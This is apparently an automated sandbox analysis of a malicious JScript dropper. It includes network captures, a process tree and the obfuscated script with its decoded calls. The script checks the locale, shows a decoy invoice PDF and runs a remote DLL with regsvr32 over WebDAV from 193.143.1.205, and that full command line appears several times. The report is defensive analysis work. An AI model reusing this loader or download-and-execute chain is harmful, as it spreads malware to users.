Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:24:52.135224104 CET	1.1.1.1	192.168.2.7	0xf0ea	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:24:52.135224104 CET	1.1.1.1	192.168.2.7	0xf0ea	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:24:52.152101994 CET	1.1.1.1	192.168.2.7	0x8dd1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49708	193.143.1.205	80	4944	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:24:40.097112894 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:24:40.887950897 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:24:40 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:24:40.888021946 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:24:40.888055086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 06:24:40.888108969 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 06:24:40.888143063 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 06:24:40.888200998 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 06:24:40.888231039 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 11, 2025 06:24:40.888264894 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:24:40.888300896 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 06:24:40.888336897 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 06:24:40.893143892 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49730	193.143.1.205	8888	7524	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:24:44.232542992 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:24:45.011591911 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:24:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	4
Start time:	00:24:34
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2067419799306291220.js"
Imagebase:	0x7ff643950000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:24:35
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll
Imagebase:	0x7ff6fe000000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:24:35
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:24:35
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:24:41
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	00:24:41
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6fe000000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:24:41
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff62b9a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:24:43
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	00:24:43
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	00:24:43
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1756,i,727159845177561612,12643622028532532394,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tsuveqfk() {	tsuveqfk() ➔ undefined
1	cixsgdug = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var yjlrjh = this[icpirdgu + btqzipwnx + xagzthjy + pncct + goduo + qtdgr + tjbjwiu + wjismuau] ( this[crolsn + xjvbfpysl + lxdsxs + xagzthjy + xaggsn + icpirdgu + wjismuau][pdfipmnt + xagzthjy + goduo + btqzipwnx + wjismuau + goduo + jevqiobu + uimyrf + yxpase + goduo + lxdsxs + wjismuau] ( crolsn + xjvbfpysl + lxdsxs + xagzthjy + xaggsn + icpirdgu + wjismuau + eahwmfex + xjvbfpysl + larzwb + goduo + hhuau + hhuau ) [vqoizy + goduo + djbomq + vqoizy + goduo + btqzipwnx + axirn] ( fcwasb + dujfeu + dwiqii + oifapc + gnxorndto + pdfipmnt + rsandt + vqoizy + vqoizy + dwiqii + xbywlv + jjrcxor + gnxorndto + rsandt + xjvbfpysl + dwiqii + vqoizy + ufpvpu + pdfipmnt + xpblvct + tjbjwiu + wjismuau + xagzthjy + xpblvct + hhuau + hzkhlpfam + iavbofj + btqzipwnx + tjbjwiu + goduo + hhuau + ufpvpu + qtdgr + tjbjwiu + wjismuau + goduo + xagzthjy + tjbjwiu + btqzipwnx + wjismuau + xaggsn + xpblvct + tjbjwiu + btqzipwnx + hhuau + ufpvpu + oabujtcvy + xpblvct + lxdsxs + btqzipwnx + hhuau + goduo ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ayytvx = 0 ; ayytvx < cixsgdug[hhuau + goduo + tjbjwiu + djbomq + wjismuau + larzwb] ; ++ ayytvx )
4	{
5	if ( yjlrjh == cixsgdug[ayytvx] )
6	{
7	yjlrjh = true;
8	break ;
9	}
10	}
11	if ( yjlrjh !== true )
12	this[crolsn + xjvbfpysl + lxdsxs + xagzthjy + xaggsn + icpirdgu + wjismuau][yxdepdq + lcrux + xaggsn + wjismuau] ( );
13	this[crolsn + xjvbfpysl + lxdsxs + xagzthjy + xaggsn + icpirdgu + wjismuau][pdfipmnt + xagzthjy + goduo + btqzipwnx + wjismuau + goduo + jevqiobu + uimyrf + yxpase + goduo + lxdsxs + wjismuau] ( crolsn + xjvbfpysl + lxdsxs + xagzthjy + xaggsn + icpirdgu + wjismuau + eahwmfex + xjvbfpysl + larzwb + goduo + hhuau + hhuau ) [xagzthjy + lcrux + tjbjwiu] ( lxdsxs + lpprnfcos + axirn + hzkhlpfam + pcvse + lxdsxs + hzkhlpfam + icpirdgu + xpblvct + hxzih + goduo + xagzthjy + pncct + larzwb + goduo + hhuau + hhuau + eahwmfex + goduo + rpifl + goduo + hzkhlpfam + lrelfzf + pdfipmnt + xpblvct + lpprnfcos + lpprnfcos + btqzipwnx + tjbjwiu + axirn + hzkhlpfam + ajxsl + qtdgr + tjbjwiu + pfpxxub + xpblvct + icoddudbp + goduo + lrelfzf + crolsn + goduo + uimyrf + vqoizy + goduo + pjveijtqi + lcrux + goduo + pncct + wjismuau + hzkhlpfam + lrelfzf + jevqiobu + lcrux + wjismuau + kmpkyyqy + xaggsn + hhuau + goduo + hzkhlpfam + rjkxbcu + wjismuau + goduo + lpprnfcos + icpirdgu + rjkxbcu + ufpvpu + xaggsn + tjbjwiu + pfpxxub + xpblvct + xaggsn + lxdsxs + goduo + eahwmfex + icpirdgu + axirn + zklfl + hzkhlpfam + larzwb + wjismuau + wjismuau + icpirdgu + yatbkrixz + pcvse + pcvse + ajjtgu + kzprw + fpwsekee + eahwmfex + ajjtgu + aadhwmi + fpwsekee + eahwmfex + ajjtgu + eahwmfex + gepjr + jqxfxjrvq + jzvhmfja + pcvse + xaggsn + tjbjwiu + pfpxxub + xpblvct + xaggsn + lxdsxs + goduo + eahwmfex + icpirdgu + larzwb + icpirdgu + ajxsl + afxsd + afxsd + pncct + wjismuau + btqzipwnx + xagzthjy + wjismuau + hzkhlpfam + rjkxbcu + wjismuau + goduo + lpprnfcos + icpirdgu + rjkxbcu + ufpvpu + xaggsn + tjbjwiu + pfpxxub + xpblvct + xaggsn + lxdsxs + goduo + eahwmfex + icpirdgu + axirn + zklfl + afxsd + afxsd + lxdsxs + lpprnfcos + axirn + hzkhlpfam + pcvse + lxdsxs + hzkhlpfam + tjbjwiu + goduo + wjismuau + hzkhlpfam + lcrux + pncct + goduo + hzkhlpfam + ufpvpu + ufpvpu + ajjtgu + kzprw + fpwsekee + eahwmfex + ajjtgu + aadhwmi + fpwsekee + eahwmfex + ajjtgu + eahwmfex + gepjr + jqxfxjrvq + jzvhmfja + ivqdm + zihlgoxl + zihlgoxl + zihlgoxl + zihlgoxl + ufpvpu + axirn + btqzipwnx + pfpxxub + hxzih + hxzih + hxzih + xagzthjy + xpblvct + xpblvct + wjismuau + ufpvpu + afxsd + afxsd + lxdsxs + lpprnfcos + axirn + hzkhlpfam + pcvse + lxdsxs + hzkhlpfam + xagzthjy + goduo + djbomq + pncct + pfpxxub + xagzthjy + fpwsekee + gepjr + hzkhlpfam + pcvse + pncct + hzkhlpfam + ufpvpu + ufpvpu + ajjtgu + kzprw + fpwsekee + eahwmfex + ajjtgu + aadhwmi + fpwsekee + eahwmfex + ajjtgu + eahwmfex + gepjr + jqxfxjrvq + jzvhmfja + ivqdm + zihlgoxl + zihlgoxl + zihlgoxl + zihlgoxl + ufpvpu + axirn + btqzipwnx + pfpxxub + hxzih + hxzih + hxzih + xagzthjy + xpblvct + xpblvct + wjismuau + ufpvpu + xqobmbupy + aadhwmi + xqobmbupy + zihlgoxl + gepjr + aadhwmi + jqxfxjrvq + ajjtgu + zihlgoxl + aadhwmi + zihlgoxl + aadhwmi + kzprw + eahwmfex + axirn + hhuau + hhuau, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7478240184849.dll",0,false) ➔ 0
14	}
15	uimyrf = "t";
16	uimyrf = "p";
17	uimyrf = "L";
18	uimyrf = "x";
19	uimyrf = "i";
20	uimyrf = "l";
21	uimyrf = "r";
22	uimyrf = "j";
23	uimyrf = "K";
24	uimyrf = "I";
25	uimyrf = "G";
26	uimyrf = "j";
27	uimyrf = "O";
28	uimyrf = "q";
29	uimyrf = "q";
30	uimyrf = "B";
31	uimyrf = "V";
32	uimyrf = "D";
33	uimyrf = "f";
34	uimyrf = "I";
35	uimyrf = "P";
36	uimyrf = "q";
37	uimyrf = "i";
38	uimyrf = "Y";
39	uimyrf = "l";
40	uimyrf = "b";
41	xpblvct = "w";
42	xpblvct = "V";
43	xpblvct = "c";
44	xpblvct = "C";
45	xpblvct = "T";
46	xpblvct = "I";
47	xpblvct = "z";
48	xpblvct = "o";
49	yxpase = "j";
50	yxpase = "p";
51	yxpase = "T";
52	yxpase = "Z";
53	yxpase = "f";
54	yxpase = "M";
55	yxpase = "L";
56	yxpase = "i";
57	yxpase = "g";
58	yxpase = "B";
59	yxpase = "F";
60	yxpase = "H";
61	yxpase = "C";
62	yxpase = "Y";
63	yxpase = "Y";
64	yxpase = "Z";
65	yxpase = "q";
66	yxpase = "b";
67	yxpase = "v";
68	yxpase = "n";
69	yxpase = "d";
70	yxpase = "G";
71	yxpase = "p";
72	yxpase = "w";
73	yxpase = "O";
74	yxpase = "q";
75	yxpase = "H";
76	yxpase = "T";
77	yxpase = "a";
78	yxpase = "T";
79	yxpase = "e";
80	yxpase = "W";
81	yxpase = "C";
82	yxpase = "E";
83	yxpase = "G";
84	yxpase = "W";
85	yxpase = "r";
86	yxpase = "o";
87	yxpase = "O";
88	yxpase = "u";
89	yxpase = "I";
90	yxpase = "v";
91	yxpase = "o";
92	yxpase = "j";
93	xaggsn = "x";
94	xaggsn = "w";
95	xaggsn = "B";
96	xaggsn = "d";
97	xaggsn = "D";
98	xaggsn = "q";
99	xaggsn = "v";
100	xaggsn = "K";
101	xaggsn = "R";
102	xaggsn = "i";
103	xaggsn = "b";
104	xaggsn = "f";
105	xaggsn = "o";
106	xaggsn = "W";
107	xaggsn = "O";
108	xaggsn = "k";
109	xaggsn = "Y";
110	xaggsn = "d";
111	xaggsn = "M";
112	xaggsn = "d";
113	xaggsn = "i";
114	zihlgoxl = "Z";
115	zihlgoxl = "n";
116	zihlgoxl = "O";
117	zihlgoxl = "a";
118	zihlgoxl = "U";
119	zihlgoxl = "m";
120	zihlgoxl = "K";
121	zihlgoxl = "e";
122	zihlgoxl = "w";
123	zihlgoxl = "I";
124	zihlgoxl = "m";
125	zihlgoxl = "f";
126	zihlgoxl = "P";
127	zihlgoxl = "X";
128	zihlgoxl = "z";
129	zihlgoxl = "f";
130	zihlgoxl = "z";
131	zihlgoxl = "a";
132	zihlgoxl = "K";
133	zihlgoxl = "l";
134	zihlgoxl = "X";
135	zihlgoxl = "t";
136	zihlgoxl = "t";
137	zihlgoxl = "o";
138	zihlgoxl = "e";
139	zihlgoxl = "c";
140	zihlgoxl = "8";
141	rpifl = "Z";
142	rpifl = "A";
143	rpifl = "f";
144	rpifl = "F";
145	rpifl = "D";
146	rpifl = "v";
147	rpifl = "G";
148	rpifl = "Z";
149	rpifl = "d";
150	rpifl = "l";
151	rpifl = "V";
152	rpifl = "T";
153	rpifl = "N";
154	rpifl = "U";
155	rpifl = "x";
156	rpifl = "L";
157	rpifl = "u";
158	rpifl = "B";
159	rpifl = "x";
160	kmpkyyqy = "f";
161	kmpkyyqy = "p";
162	kmpkyyqy = "F";
163	ufpvpu = "z";
164	ufpvpu = "c";
165	ufpvpu = "Y";
166	ufpvpu = "r";
167	ufpvpu = "u";
168	ufpvpu = "s";
169	ufpvpu = "h";
170	ufpvpu = "k";
171	ufpvpu = "c";
172	ufpvpu = "B";
173	ufpvpu = "X";
174	ufpvpu = "L";
175	ufpvpu = "l";
176	ufpvpu = "S";
177	ufpvpu = "p";
178	ufpvpu = "D";
179	ufpvpu = "\\";
180	afxsd = "L";
181	afxsd = "k";
182	afxsd = "g";
183	afxsd = "d";
184	afxsd = "U";
185	afxsd = "f";
186	afxsd = "Z";
187	afxsd = "j";
188	afxsd = "v";
189	afxsd = "A";
190	afxsd = "g";
191	afxsd = "p";
192	afxsd = "q";
193	afxsd = "g";
194	afxsd = "r";
195	afxsd = "J";
196	afxsd = "I";
197	afxsd = "B";
198	afxsd = "Y";
199	afxsd = "x";
200	afxsd = "i";
201	afxsd = "H";
202	afxsd = "q";
203	afxsd = "c";
204	afxsd = "o";
205	afxsd = "R";
206	afxsd = "g";
207	afxsd = "G";
208	afxsd = "R";
209	afxsd = "D";
210	afxsd = "z";
211	afxsd = "p";
212	afxsd = "w";
213	afxsd = "H";
214	afxsd = "v";
215	afxsd = "k";
216	afxsd = "b";
217	afxsd = "F";
218	afxsd = "n";
219	afxsd = "V";
220	afxsd = "L";
221	afxsd = "q";
222	afxsd = "&";
223	yatbkrixz = "o";
224	yatbkrixz = "i";
225	yatbkrixz = "e";
226	yatbkrixz = "m";
227	yatbkrixz = "G";
228	yatbkrixz = "g";
229	yatbkrixz = "t";
230	yatbkrixz = "a";
231	yatbkrixz = "P";
232	yatbkrixz = "u";
233	yatbkrixz = "I";
234	yatbkrixz = "h";
235	yatbkrixz = "u";
236	yatbkrixz = "R";
237	yatbkrixz = "E";
238	yatbkrixz = "o";
239	yatbkrixz = "F";
240	yatbkrixz = "R";
241	yatbkrixz = "r";
242	yatbkrixz = "H";
243	yatbkrixz = "t";
244	yatbkrixz = "F";
245	yatbkrixz = "Z";
246	yatbkrixz = "N";
247	yatbkrixz = "m";
248	yatbkrixz = "h";
249	yatbkrixz = "x";
250	yatbkrixz = "P";
251	yatbkrixz = "g";
252	yatbkrixz = "u";
253	yatbkrixz = "O";
254	yatbkrixz = "Y";
255	yatbkrixz = "J";
256	yatbkrixz = "l";
257	yatbkrixz = "K";
258	yatbkrixz = "R";
259	yatbkrixz = "Y";
260	yatbkrixz = "V";
261	yatbkrixz = "f";
262	yatbkrixz = "s";
263	yatbkrixz = ":";
264	lcrux = "Z";
265	lcrux = "l";
266	lcrux = "r";
267	lcrux = "w";
268	lcrux = "j";
269	lcrux = "p";
270	lcrux = "f";
271	lcrux = "D";
272	lcrux = "H";
273	lcrux = "i";
274	lcrux = "l";
275	lcrux = "y";
276	lcrux = "a";
277	lcrux = "B";
278	lcrux = "i";
279	lcrux = "W";
280	lcrux = "u";
